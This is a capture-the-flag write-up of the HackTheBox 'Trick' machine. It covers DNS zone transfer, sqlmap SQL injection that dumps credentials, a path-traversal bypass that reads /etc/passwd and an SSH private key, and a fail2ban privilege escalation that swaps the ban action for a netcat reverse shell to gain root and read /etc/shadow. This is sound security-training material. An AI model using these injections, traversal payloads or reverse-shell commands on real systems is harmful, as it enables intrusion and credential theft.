10 minute read

Trick is an easy level machine by Geiseric on HackTheBox. This Linux box focuses on web app and OS enumeration, and using SQLMap to dump data.

Machine Information


We start with DNS enumeration to find an entry point. From there we use SQLMap to find user credentials, and further enumeration finds another sub-site. This gives us access to a web page which is vulnerable to LFI and we use it to get private ssh keys. The path from user to root is exploiting privleges our user has over the Fail2ban service.

Hosting Site HackTheBox
Link To Machine HTB - Easy - Trick
Machine Release Date 18th June 2022
Date I Completed It 6th July 2022
Distribution Used Kali 2022.1 – Release Info

Initial Recon

As always let’s start with Nmap:

└─# ports=$(nmap -p- --min-rate=1000 -T4 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) 

└─# nmap -p$ports -sC -sV -oA trick
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-04 22:46 BST
Nmap scan report for
Host is up (0.024s latency).
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
|   256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_  256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open  smtp    Postfix smtpd
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: Host:  debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 48.94 seconds

We have a few open ports, looking at the website on port 80 we find nothing of interest:



Move on to DNS on port 53. We can use DIG like we did on an old box called Bank:

└─# dig @ -x
; <<>> DiG 9.18.0-2-Debian <<>> @ -x
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 63734
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3
;; WARNING: recursion requested but not available
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 49bc856da71190a485707c7d62c3612fb1e2522fe9ed8b2d (good)
;     IN      PTR
;; ANSWER SECTION: 604800 IN    PTR     trick.htb.
11.10.10.in-addr.arpa.  604800  IN      NS      trick.htb.
trick.htb.              604800  IN      A
trick.htb.              604800  IN      AAAA    ::1
;; Query time: 24 msec
;; WHEN: Mon Jul 04 22:52:46 BST 2022
;; MSG SIZE  rcvd: 163

This gives us a DNS entry of trick.htb. We can use a zone transfer (AXFR) to get more information. This is a good article if you’re interested in learning more. Let’s have a look:

└─# dig axfr trick.htb @
; <<>> DiG 9.18.0-2-Debian <<>> axfr trick.htb @
;; global options: +cmd
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.              604800  IN      NS      trick.htb.
trick.htb.              604800  IN      A
trick.htb.              604800  IN      AAAA    ::1
preprod-payroll.trick.htb. 604800 IN    CNAME   trick.htb.
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 20 msec
;; WHEN: Mon Jul 04 22:54:23 BST 2022
;; XFR size: 6 records (messages 1, bytes 231)

We have two more DNS names, let’s add to our hosts file and have a look:

└─# echo " trick.htb root.trick.htb preprod-payroll.trick.htb" >> /etc/hosts

Now we find a login page on the payroll site:


I put some fake credentials in and intercepted it with Burp:



Right click on the intercepted requested and save it to a file so we can use that with SQLmap:

└─# sqlmap -r trick-login.req
[*] starting @ 17:16:31 /2022-07-05/
sqlmap identified the following injection point(s) with a total of 210 HTTP(s) requests:
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=pencer' AND (SELECT 3955 FROM (SELECT(SLEEP(5)))MmMe) AND 'vVdo'='vVdo&password=pencer
[17:17:37] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.14.2
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:17:44] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/preprod-payroll.trick.htb'
[*] ending @ 17:17:44 /2022-07-05/

We have time based SQLi just like we did on the StreamIO box. Let’s look through databases, tables, and then dump user credentials:

└─# sqlmap -r trick-login.req --dbs --batch
[*] starting @ 17:19:13 /2022-07-05/
[17:19:28] [INFO] retrieved: 
[17:19:33] [INFO] adjusting time delay to 1 second due to good response times
[17:20:34] [INFO] retrieved: payroll_db
available databases [2]:
[*] information_schema
[*] payroll_db
[*] ending @ 17:21:14 /2022-07-05/

└─# sqlmap -r trick-login.req --tables -D payroll_db --batch
[*] starting @ 17:21:34 /2022-07-05/
Database: payroll_db
[11 tables]
| position            |
| allowances          |
| attendance          |
| deductions          |
| department          |
| employee            |
| employee_allowances |
| employee_deductions |
| payroll             |
| payroll_items       |
| users               |
[*] ending @ 17:28:26 /2022-07-05/

└─# sqlmap -r trick-login.req --columns -D payroll_db -T users --batch
[*] starting @ 17:30:32 /2022-07-05/
Database: payroll_db
Table: users
[8 columns]
| Column    | Type         |
| address   | text         |
| contact   | text         |
| doctor_id | int(30)      |
| id        | int(30)      |
| name      | varchar(200) |
| password  | varchar(200) |
| type      | tinyint(1)   |
| username  | varchar(100) |
[*] ending @ 17:37:41 /2022-07-05/

└─# sqlmap -r trick-login.req --dump -D payroll_db -T users -C username,password --batch
[*] starting @ 17:39:27 /2022-07-05/
Database: payroll_db
Table: users
[1 entry]
| username   | password              |
| Enemigosss | SuperGucciRainbowCake |
[*] ending @ 17:41:28 /2022-07-05/

We can also download files using SQLMap:

└─# sqlmap -r trick-login.req --file-read "/etc/passwd" --batch
[*] starting @ 21:58:05 /2022-07-06/
[21:58:05] [INFO] fetching file: '/etc/passwd'

It takes a long time but eventually we get the file:

└─# cat /root/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd | grep bash

We can also guess the path to the website files and grab index.php:

└─# sqlmap -r trick-login.req --file-read "/var/www/payroll/index.php" --batch
[*] starting @ 21:58:08 /2022-07-06/
[21:58:09] [INFO] fetching file: '/var/www/payroll/index.php'

Using the credentials we got from the database we can log in to the payroll site:



I didn’t find anything useful in the recruitment system, so let’s create a custom wordlist to look for other sites:

└─# sed 's/^/preprod-/' /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt > trick-wordlist.txt

Here I’ve just used sed to add preprod- in front of every entry in the seclists top 5000 wordlist. Now we can use gobuster to look for vhost:

└─# gobuster vhost -t 100 -w trick-wordlist.txt -u http://trick.htb 
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:          http://trick.htb
[+] Method:       GET
[+] Threads:      100
[+] Wordlist:     trick-wordlist.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
2022/07/05 17:38:59 Starting gobuster in VHOST enumeration mode
Found: preprod-marketing.trick.htb (Status: 200) [Size: 9660]
2022/07/05 17:39:01 Finished

We find another site, this time called marketing. Add to our hosts file and then have a look:


This is just a basic template site with no content, but we see the index.php page has a parameter in the URL that take a file name. We can use SQLMap to get the source code for the index.php file to see what it’s doing:

└─# sqlmap -r trick-login.req --file-read "/var/www/market/index.php" --batch

Notice that the path is market not marketing!

Code Review

Again this will take some time, but eventually we can look at the file:

└─# cat /root/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_var_www_market_index.php
$file = $_GET['page'];
if(!isset($file) || ($file=="index.php")) {

We can see it includes a file, and has a basic check for path traversal removing any paths with ../ in them. Which is easy to bypass so let’s try using this knowledge with curl to grab the passwd file:

└─# curl -s "preprod-marketing.trick.htb/index.php?page=....//....//....//etc/passwd" | grep bash

SSH Access

We have one user who can login and port 22 is open, so safe to assume they have a .ssh folder in their home directory with a id_rsa file in there. Let’s grab it:

└─# curl "preprod-marketing.trick.htb/index.php?page=..././..././..././home/michael/.ssh/id_rsa"

Paste that private key in to a file on Kali, don’t forget to chmod it:

└─# chmod 600 id_rsa

Now we can login as michael:

└─#  ssh michael@trick.htb -i id_rsa
Linux trick 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64
Last login: Tue Jul  5 22:53:02 2022 from

User Flag

Let’s grab the user flag first:

michael@trick:~$ cat user.txt 


Now to find our path to root, one of the first things to check is always sudo:

michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart

So our user can restart fail2ban as root with no password. A quick look for an exploit found this which gives us a simple step by step method.

First check permissions:

michael@trick:~$ groups
michael security

michael@trick:~$ ls -lsa /etc/fail2ban/
total 76
 4 drwxrwx---   2 root security  4096 Jul  6 22:51 action.d
 4 -rw-r--r--   1 root root      2334 Jul  6 22:51 fail2ban.conf

Our user michael is a member of the group called security, the action.d folder in /etc/fail2ban is owned by that group. Which means we can write files in there or move existing files around.

Also we see fail2ban service is running as root:

michael@trick:~$ ps -ef | grep root | grep fail2ban
root      94079      1  0 22:37 ?        00:00:00 /usr/bin/python3 /usr/bin/fail2ban-server -xf start

Checking the settings in /etc/fail2ban/jail.conf:

# "maxretry" is the number of failures before a host get banned.
maxretry = 5

banaction = iptables-multiport
banaction_allports = iptables-allports

# SSH servers
# To use more aggressive sshd modes set filter parameter "mode" in jail.local:
# normal (default), ddos, extra or aggressive (combines all).
# See "tests/files/logs/sshd" or "filter.d/sshd.conf" for usage example and details.
#mode   = normal
port    = ssh
logpath = %(sshd_log)s
backend = %(sshd_backend)s
bantime = 10s

From the snippets of the config file we can see five failed attempts on SSH will cause the banaction defined in the file iptables-multiport. Looking in iptable-multiport.conf:

# Option:  actionban
# Notes.:  command executed when banning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>

Normally actionban is set to block the offending IP. We can change this to get a reverse shell. First copy the conf file to our home folder:

michael@trick:~$ cp /etc/fail2ban/action.d/iptables-multiport.conf ./pencer.conf

Now use sed to change the line to our reverse shell:

michael@trick:~$ sed "s/<iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>/\/usr\/bin\/nc 4444 -e \/usr\/bin\/bash/g" pencer.conf > iptables-multiport.conf

Now we need to move the existing file because we can’t delete or overwrite it:

michael@trick:~$ mv /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf.bak

Finally put our file in its place and restart the fail2ban service:

michael@trick:~$ cp iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf

michael@trick:~$ sudo /etc/init.d/fail2ban restart

In another terminal start nc listening for our reverse shell:

└─# nc -nlvp 4444
listening on [any] 4444 ...

Create fake credentials to use with a brute force:

└─# cat users.txt 

└─# cat passwords.txt 

In another terminal use nmap with our fake credentials to brute force the ssh on port 22:

└─# nmap trick.htb -p 22 --script ssh-brute --script-args userdb=users.txt,passdb=passwords.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-06 22:38 BST
NSE: [ssh-brute] Trying username/password pair: a:a
NSE: [ssh-brute] Trying username/password pair: b:b
NSE: [ssh-brute] Trying username/password pair: c:c
NSE: [ssh-brute] Trying username/password pair: d:d
NSE: [ssh-brute] Trying username/password pair: e:e
NSE: [ssh-brute] Trying username/password pair: f:f
NSE: [ssh-brute] Trying username/password pair: :
NSE: [ssh-brute] Trying username/password pair: b:a
NSE: [ssh-brute] Trying username/password pair: c:a

Root Flag

Switch to our waiting netcat to see we’re connected as root:

└─# nc -nlvp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 45944
uid=0(root) gid=0(root) groups=0(root)

Let’s grab the root flag and hash to finish the box:

cat /root/root.txt

cat /etc/shadow | grep root

All done. I hope you enjoyed that nice easy box. See you next time.